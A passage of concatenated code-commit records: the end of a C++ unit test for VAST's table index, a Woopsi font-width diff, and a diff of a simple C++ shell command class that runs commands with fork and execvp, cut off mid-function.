\"vast\/concept\/printable\/vast\/expression.hpp\"\n#include \"vast\/system\/table_index.hpp\"\n\nusing namespace vast;\nusing namespace vast::system;\n\nnamespace {\n\nstruct fixture : fixtures::events, fixtures::filesystem {\n  fixture() {\n    directory \/= \"column-layout\";\n  }\n\n  template <class T>\n  T unbox(expected<T> x) {\n    REQUIRE(x);\n    return std::move(*x);\n  }\n};\n\n} \/\/ namespace <anonymous>\n\nFIXTURE_SCOPE(table_index_tests, fixture)\n\nTEST(bro conn logs) {\n  MESSAGE(\"generate column layout for bro conn logs\");\n  const auto conn_log_type = bro_conn_log[0].type();\n  auto cols = unbox(make_table_index(directory, conn_log_type));\n  CHECK_EQUAL(cols.num_meta_columns(), 2u);\n  MESSAGE(\"ingesting events\");\n  for (auto& entry : bro_conn_log) {\n    auto err = cols.add(entry);\n    if (err) {\n      FAIL(\"error during ingestion: \" << caf::to_string(err));\n    }\n  }\n  MESSAGE(\"querying\");\n  auto pred = to<predicate>(\"id.resp_p == 995\/?\");\n  REQUIRE(pred);\n  auto result = unbox(cols.lookup(*pred));\n  CHECK_EQUAL(rank(result), 53u);\n  auto check_uid = [](const event& e, const std::string& uid) {\n    auto& v = get<vector>(e.data());\n    return v[1] == uid;\n  };\n  for (auto i : select(result))\n    if (i == 819)\n      CHECK(check_uid(bro_conn_log[819], \"KKSlmtmkkxf\")); \/\/ first\n    else if (i == 3594)\n      CHECK(check_uid(bro_conn_log[3594], \"GDzpFiROJQi\")); \/\/ intermediate\n    else if (i == 6338)\n      CHECK(check_uid(bro_conn_log[6338], \"zwCckCCgXDb\")); \/\/ last\n}\n\nFIXTURE_SCOPE_END()\n<|endoftext|>"}
{"text":"<commit_before>#include \"packedfontbase.h\"\n#include \"mutablebitmapbase.h\"\n#include \"woopsistring.h\"\n#include \"stringiterator.h\"\n\nusing namespace WoopsiGfx;\n\nu16 PackedFontBase::getCharWidth(u32 letter) const {\n\tif (_fontWidth) return _fontWidth;\n\n\tif (letter < _first || letter > _last) return _spWidth;\n\treturn _glyphWidth[letter - _first] + 1;\n}\n\nconst bool PackedFontBase::isCharBlank(const u32 letter) const {\n\tif (letter >= _first && letter <= _last) return _glyphWidth[letter - _first] == 0;\n\treturn true;\n}\n\nu16 PackedFontBase::getStringWidth(const WoopsiString& text) const {\n\treturn getStringWidth(text, 0, text.getLength());\n}\n\nu16 PackedFontBase::getStringWidth(const WoopsiString& text, s32 startIndex, s32 length) const {\n\tif (_fontWidth) return _fontWidth * length;\n\n\tu16 total = 0;\n\n\tStringIterator* iterator = text.newStringIterator();\n\tif (!iterator->moveTo(startIndex)) return 0;\n\t\n\tdo {\n\t\ttotal += getCharWidth(iterator->getCodePoint());\n\t} while (iterator->moveToNext() && (iterator->getIndex() < startIndex + length));\n\n\tdelete iterator;\n\n\treturn total;\n}\n\ns16 PackedFontBase::drawChar(\n\tMutableBitmapBase* bitmap,\n\tu32 letter,\n\ts16 x, s16 y,\n\tu16 clipX1, u16 clipY1, u16 clipX2, u16 clipY2)\n{\n\t\/\/ if there is no glyphdata for this letter, just advance by a space\n\tif (letter < _first || letter > _last) {\n\t\treturn x + _spWidth;\n\t}\n\n\t\/\/ check what its pixel width is - zero means no such character so\n\t\/\/ fall back on the width of a space\n\tu16 pixelWidth = _glyphWidth[letter - _first];\n\tif (pixelWidth == 0) {\n\t\treturn x + _spWidth;\n\t}\n\n\t\/\/ pass off to a subclass for rendering\n\trenderChar(\n\t\t&_glyphData[_glyphOffset[letter - _first]],\n\t\tpixelWidth,\n\t\tbitmap,\n\t\tx, y,\n\t\tclipX1, clipY1, clipX2, clipY2);\n\n\treturn x + getCharWidth(letter);\n}\n<commit_msg>Syncing with Woopsi.<commit_after>#include \"packedfontbase.h\"\r\n#include \"mutablebitmapbase.h\"\r\n#include \"woopsistring.h\"\r\n#include \"stringiterator.h\"\r\n\r\nusing namespace WoopsiGfx;\r\n\r\nu8 PackedFontBase::getCharWidth(u32 letter) const {\r\n\tif (_fontWidth) return _fontWidth;\r\n\r\n\tif (letter < _first || letter > _last) return _spWidth;\r\n\treturn _glyphWidth[letter - _first] + 1;\r\n}\r\n\r\nconst bool PackedFontBase::isCharBlank(const u32 letter) const {\r\n\tif (letter >= _first && letter <= _last) return _glyphWidth[letter - _first] == 0;\r\n\treturn true;\r\n}\r\n\r\nu16 PackedFontBase::getStringWidth(const WoopsiString& text) const {\r\n\treturn getStringWidth(text, 0, text.getLength());\r\n}\r\n\r\nu16 PackedFontBase::getStringWidth(const WoopsiString& text, s32 startIndex, s32 length) const {\r\n\tif (_fontWidth) return _fontWidth * length;\r\n\r\n\tu16 total = 0;\r\n\r\n\tStringIterator* iterator = text.newStringIterator();\r\n\tif (iterator->moveTo(startIndex)) {\r\n\t\r\n\t\tdo {\r\n\t\t\ttotal += getCharWidth(iterator->getCodePoint());\r\n\t\t} while (iterator->moveToNext() && (iterator->getIndex() < startIndex + length));\r\n\t}\r\n\r\n\tdelete iterator;\r\n\r\n\treturn total;\r\n}\r\n\r\ns16 PackedFontBase::drawChar(\r\n\tMutableBitmapBase* bitmap,\r\n\tu32 letter,\r\n\ts16 x, s16 y,\r\n\tu16 clipX1, u16 clipY1, u16 clipX2, u16 clipY2)\r\n{\r\n\t\/\/ if there is no glyphdata for this letter, just advance by a space\r\n\tif (letter < _first || letter > _last) {\r\n\t\treturn x + _spWidth;\r\n\t}\r\n\r\n\t\/\/ check what its pixel width is - zero means no such character so\r\n\t\/\/ fall back on the width of a space\r\n\tu16 pixelWidth = _glyphWidth[letter - _first];\r\n\tif (pixelWidth == 0) {\r\n\t\treturn x + _spWidth;\r\n\t}\r\n\r\n\t\/\/ pass off to a subclass for rendering\r\n\trenderChar(\r\n\t\t&_glyphData[_glyphOffset[letter - _first]],\r\n\t\tpixelWidth,\r\n\t\tbitmap,\r\n\t\tx, y,\r\n\t\tclipX1, clipY1, clipX2, clipY2);\r\n\r\n\treturn x + getCharWidth(letter);\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#include <cstdio>\n#include <sys\/wait.h>\n#include <sys\/stat.h>\n\nusing namespace std;\n\nclass command{\n\tprotected:\n\t\tvector<string> commandlist;\n\t\tbool commandPass;\n\t\tbool prevCommandPass;\n\t\tstring commandType;\n\t\tbool allCount;\n\t\tbool forceExit;\n\t\tstring nextConnector;\n\tpublic:\n\t\tcommand(){}\n\t\tcommand(vector<string> c){\n\t\t\tcommandlist = c;\n\t\t\tcommandType = \";\";\n\t\t\tallCount = true;\n\t\t\tprevCommandPass = true;\n\t\t\tnextConnector = \";\";\n\t\t\tforceExit = false;\n\t\t}\n\t\tcommand(vector<string> c, string t){\n\t\t\tcommandlist = c;\n\t\t\tcommandType = t;\n\t\t\tprevCommandPass = true;\n\t\t\tforceExit = false;\n\t\t\tallCount = true;\n\t\t\tnextConnector = \";\";\n\t\t}\n\t\tbool getPass(){\n\t\t\treturn commandPass;\n\t\t}\n\t\tstring getType(){\n\t\t\treturn commandType;\n\t\t}\n\t\tvoid runCommand(vector<string> com){\n\t\t\tchar* argv[1024];\n\n\t\t\tfor(unsigned int i = 0; i < com.size(); i++){\n\t\t\t\targv[i] = (char*)com.at(i).c_str();\n\t\t\t}\n\t\t\targv[com.size()] = NULL;\n\n\t\t\tpid_t pid;\n\t\t\tint status;\n\t\t\tpid = fork();\n\t\t\tif (pid == 0){\n\t\t\t\tprevCommandPass = true;\n\t\t\t\texecvp(argv[0], argv);\n\t\t\t\tperror(\"execvp failed: \");\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (waitpid(pid, &status, 0) == -1){\n\t\t\t\t\tperror(\"Wait: \");\n\t\t\t\t}\n\t\t\t\tif (WIFEXITED(status) && WEXITSTATUS(status) != 0){\n\t\t\t\t\tprevCommandPass = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tvoid runAllCommands(){\n\t\t\tvector<string> commandsublist;\n\t\t\tunsigned int i = 0;\n\t\t\tunsigned int j = 0;\n\t\t\twhile (i < commandlist.size()){\n\t\t\t\tj = 0;\n\t\t\t\tif (checkCommandRun()){\n\t\t\t\t\twhile (!checkBreaker(i)){\n\t\t\t\t\t\t\/\/Exit check\n\t\t\t\t\t\tif (commandlist.at(i) == \"exit\"){\n\t\t\t\t\t\t\tcout << \"Forced Exit.\" << endl;\n\t\t\t\t\t\t\tforceExit = true;\n\t\t\t\t\t\t\t_Exit(0);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/ Comment check\n\t\t\t\t\t\tif (commandlist.at(i) == \"#\" || checkComment(commandlist.at(i))){\n\t\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (commandlist.at(i) == \"[\"){\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"-e\" || commandlist.at(i) == \"-f\" || commandlist.at(i) == \"-d\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"]\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tif (checkTest(commandsublist)){\n\t\t\t\t\t\t\t\t\tcout << \"(True)\" << endl;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tcout << \"(False)\" << endl;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tcout << \"Error: Missing close bracket.\" << endl;\n\t\t\t\t\t\t\t\t_exit(1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \"test\"){\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"-e\" || commandlist.at(i) == \"-f\" || commandlist.at(i) == \"-d\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (checkTest(commandsublist)){\n\t\t\t\t\t\t\t\tcout << \"(True)\" << endl;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tcout << \"(False)\" << endl;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/Adds command to the list\n\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\ti++;\n\t\t\t\t\t\tj++;\n\t\t\t\t\t\tif (i == commandlist.size()){\n\t\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (commandsublist.size() > 0){\n\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t}\n\t\t\t\t\tif (i >= commandlist.size()){\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tif (checkBreaker(i)){\n\t\t\t\t\t\tif (nextConnector == \"||\"){\n\t\t\t\t\t\t\tif (allCount == true){\n\t\t\t\t\t\t\t\tprevCommandPass = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tif (prevCommandPass == false){\n\t\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tallCount = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (nextConnector == \"&&\"){\n\t\t\t\t\t\t\tif (allCount == true){\n\t\t\t\t\t\t\t\tif (prevCommandPass == false){\n\t\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\tprevCommandPass = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (nextConnector == \";\"){\n\t\t\t\t\t\t\tif (prevCommandPass == true){\n\t\t\t\t\t\t\t\tallCount = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (commandlist.at(i) == \"|\"){\n\t\t\t\t\t\t\tnextConnector = \"||\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \"&\"){\n\t\t\t\t\t\t\tnextConnector = \"&&\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\t\t\tnextConnector = \";\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\ti++;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\ti++;\n\t\t\t\t\tif (i < commandlist.size()){\n\t\t\t\t\t\tif (checkBreaker(i)){\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"&\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tnextConnector = \"&&\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (commandlist.at(i) == \"|\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tnextConnector = \"||\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\t\t\t\tnextConnector = \";\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/\tChecks if there is a '#' at the front of the string\n\t\tbool checkComment(string str){\n\t\t\tif (str.at(0) == '#'){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t\/\/\tChecks if the string is a breaker\n\t\tbool checkBreaker(int i){\n\t\t\tif ( (unsigned)i < commandlist.size() + 1){\n\t\t\t\tif (commandlist.at(i) == \"|\" && commandlist.at(i + 1) == \"|\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (commandlist.at(i) == \"&\" && commandlist.at(i + 1) == \"&\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if( (unsigned)i == commandlist.size() + 1){\n\t\t\t\tif(commandlist.at(i) == \";\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\n\n\t\t\/\/ Checks if the next command should be run\n\t\tbool checkCommandRun(){\n\t\t\tif (nextConnector == \"||\"){\n\t\t\t\tif(allCount == true){\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (nextConnector == \"&&\"){\n\t\t\t\tif(allCount == true){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse if (nextConnector == \";\"){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tbool checkTest(vector<string> temp){\n\t\t\tif (temp.at(0) == \"-e\"){\n\t\t\t\treturn fileExists(temp.at(1));\n\t\t\t}\n\t\t\telse if (temp.at(0) == \"-f\"){\n\t\t\t\treturn regFileExists(temp.at(1));\n\t\t\t}\n\t\t\telse if (temp.at(0) == \"-d\"){\n\t\t\t\treturn dirExists(temp.at(1));\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn fileExists(temp.at(0));\n\t\t\t}\n\t\t}\n\t\tbool fileExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\treturn (stat(path.c_str(), &buffer) == 0);\n\t\t}\n\n\t\tbool dirExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\tif (stat(path.c_str(), &buffer) == 0 && S_ISDIR(buffer.st_mode)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tbool regFileExists(string& path){\n\t\t\tstruct stat buffer;\n\t\t\tif (stat(path.c_str(), &buffer) == 0 && S_ISREG(buffer.st_mode)){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\tvoid execute(bool prevCommand){\n\t\t\tif (prevCommand){\n\t\t\t\tif (commandType == \"&&\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (commandType == \"||\"){\n\t\t\t\t\tcommandPass = true;\n\t\t\t\t}\n\t\t\t\telse if (commandType == \";\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (commandType == \"&&\"){\n\t\t\t\t\tcommandPass = false;\n\t\t\t\t}\n\t\t\t\telse if (commandType == \"||\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tif (allCount){\n\t\t\t\t\t\tcommandPass = true;\n\t\t\t\t\t}\n\t\t\t\t\telse{\n\t\t\t\t\t\tcommandPass = false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse if (commandType == \";\"){\n\t\t\t\t\trunAllCommands();\n\t\t\t\t\tcommandPass = true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n};\n<commit_msg>Added getvector<commit_after>#include <string>\n#include <vector>\n#include <iostream>\n#include <stdlib.h>\n#include <cstdio>\n#include <sys\/wait.h>\n#include <sys\/stat.h>\n\nusing namespace std;\n\nclass command{\n\tprotected:\n\t\tvector<string> commandlist;\n\t\tbool commandPass;\n\t\tbool prevCommandPass;\n\t\tstring commandType;\n\t\tbool allCount;\n\t\tbool forceExit;\n\t\tstring nextConnector;\n\tpublic:\n\t\tcommand(){}\n\t\tcommand(vector<string> c){\n\t\t\tcommandlist = c;\n\t\t\tcommandType = \";\";\n\t\t\tallCount = true;\n\t\t\tprevCommandPass = true;\n\t\t\tnextConnector = \";\";\n\t\t\tforceExit = false;\n\t\t}\n\t\tcommand(vector<string> c, string t){\n\t\t\tcommandlist = c;\n\t\t\tcommandType = t;\n\t\t\tprevCommandPass = true;\n\t\t\tforceExit = false;\n\t\t\tallCount = true;\n\t\t\tnextConnector = \";\";\n\t\t}\n\t\tvector<string>& getVector(){\n\t\t\treturn commandlist;\n\t\t}\n\t\tbool getPass(){\n\t\t\treturn commandPass;\n\t\t}\n\t\tstring getType(){\n\t\t\treturn commandType;\n\t\t}\n\t\tvoid runCommand(vector<string> com){\n\t\t\tchar* argv[1024];\n\n\t\t\tfor(unsigned int i = 0; i < com.size(); i++){\n\t\t\t\targv[i] = (char*)com.at(i).c_str();\n\t\t\t}\n\t\t\targv[com.size()] = NULL;\n\n\t\t\tpid_t pid;\n\t\t\tint status;\n\t\t\tpid = fork();\n\t\t\tif (pid == 0){\n\t\t\t\tprevCommandPass = true;\n\t\t\t\texecvp(argv[0], argv);\n\t\t\t\tperror(\"execvp failed: \");\n\t\t\t\texit(-1);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tif (waitpid(pid, &status, 0) == -1){\n\t\t\t\t\tperror(\"Wait: \");\n\t\t\t\t}\n\t\t\t\tif (WIFEXITED(status) && WEXITSTATUS(status) != 0){\n\t\t\t\t\tprevCommandPass = false;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tvoid runAllCommands(){\n\t\t\tvector<string> commandsublist;\n\t\t\tunsigned int i = 0;\n\t\t\tunsigned int j = 0;\n\t\t\twhile (i < commandlist.size()){\n\t\t\t\tj = 0;\n\t\t\t\tif (checkCommandRun()){\n\t\t\t\t\twhile (!checkBreaker(i)){\n\t\t\t\t\t\t\/\/Exit check\n\t\t\t\t\t\tif (commandlist.at(i) == \"exit\"){\n\t\t\t\t\t\t\tcout << \"Forced Exit.\" << endl;\n\t\t\t\t\t\t\tforceExit = true;\n\t\t\t\t\t\t\t_Exit(0);\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/ Comment check\n\t\t\t\t\t\tif (commandlist.at(i) == \"#\" || checkComment(commandlist.at(i))){\n\t\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (commandlist.at(i) == \"[\"){\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"-e\" || commandlist.at(i) == \"-f\" || commandlist.at(i) == \"-d\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"]\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tif (checkTest(commandsublist)){\n\t\t\t\t\t\t\t\t\tcout << \"(True)\" << endl;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tcout << \"(False)\" << endl;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tcout << \"Error: Missing close bracket.\" << endl;\n\t\t\t\t\t\t\t\t_exit(1);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \"test\"){\n\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"-e\" || commandlist.at(i) == \"-f\" || commandlist.at(i) == \"-d\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (checkTest(commandsublist)){\n\t\t\t\t\t\t\t\tcout << \"(True)\" << endl;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tcout << \"(False)\" << endl;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\/\/Adds command to the list\n\t\t\t\t\t\tcommandsublist.push_back(commandlist.at(i));\n\t\t\t\t\t\ti++;\n\t\t\t\t\t\tj++;\n\t\t\t\t\t\tif (i == commandlist.size()){\n\t\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\t\treturn;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif (commandsublist.size() > 0){\n\t\t\t\t\t\trunCommand(commandsublist);\n\t\t\t\t\t\tcommandsublist.clear();\n\t\t\t\t\t}\n\t\t\t\t\tif (i >= commandlist.size()){\n\t\t\t\t\t\treturn;\n\t\t\t\t\t}\n\t\t\t\t\tif (checkBreaker(i)){\n\t\t\t\t\t\tif (nextConnector == \"||\"){\n\t\t\t\t\t\t\tif (allCount == true){\n\t\t\t\t\t\t\t\tprevCommandPass = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tif (prevCommandPass == false){\n\t\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\t\tallCount = true;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (nextConnector == \"&&\"){\n\t\t\t\t\t\t\tif (allCount == true){\n\t\t\t\t\t\t\t\tif (prevCommandPass == false){\n\t\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t\tprevCommandPass = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (nextConnector == \";\"){\n\t\t\t\t\t\t\tif (prevCommandPass == true){\n\t\t\t\t\t\t\t\tallCount = true;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse{\n\t\t\t\t\t\t\t\tallCount = false;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif (commandlist.at(i) == \"|\"){\n\t\t\t\t\t\t\tnextConnector = \"||\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \"&\"){\n\t\t\t\t\t\t\tnextConnector = \"&&\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\t\t\tnextConnector = \";\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\ti++;\n\t\t\t\t\t}\n\t\t\t\t\ti++;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\ti++;\n\t\t\t\t\tif (i < commandlist.size()){\n\t\t\t\t\t\tif (checkBreaker(i)){\n\t\t\t\t\t\t\tif (commandlist.at(i) == \"&\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tnextConnector = \"&&\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (commandlist.at(i) == \"|\"){\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\ti++;\n\t\t\t\t\t\t\t\tnextConnector = \"||\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\t\t\t\tnextConnector = \";\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t\/\/\tChecks if there is a '#' at the front of the string\n\t\tbool checkComment(string str){\n\t\t\tif (str.at(0) == '#'){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t\/\/\tChecks if the string is a breaker\n\t\tbool checkBreaker(int i){\n\t\t\tif ( (unsigned)i < commandlist.size() + 1){\n\t\t\t\tif (commandlist.at(i) == \"|\" && commandlist.at(i + 1) == \"|\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (commandlist.at(i) == \"&\" && commandlist.at(i + 1) == \"&\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse if (commandlist.at(i) == \";\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if( (unsigned)i == commandlist.size() + 1){\n\t\t\t\tif(commandlist.at(i) == \";\"){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\t\n\n\t\t\/\/ Checks if the next command should be run\n\t\tbool checkCommandRun(){\n\t\t\tif (nextConnector == \"||\"){\n\t\t\t\tif(allCount == true){\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse if (nextConnector == \"&&\"){\n\t\t\t\tif(allCount == true){\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\telse if (nextConnector == \";\"){\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\tbool checkTest(vector<string> temp){\n\t\t\tif (temp.at(0) == \"-e\"){\n\t\t\t\treturn fileExists(temp.at(1));\n\t\t\t}\n\t\t\telse if (temp.at(0) == \"-f\"){\n\t\t\t\treturn regFileExists(temp.at(1));\n\t\t\t}\n\t\t\telse if (temp.at(0) == \"-d\"){\n\t\t\t\treturn dirExists(temp.at(1));\n\t\t\t}\n\t\t\telse{\n\t\t\t\treturn 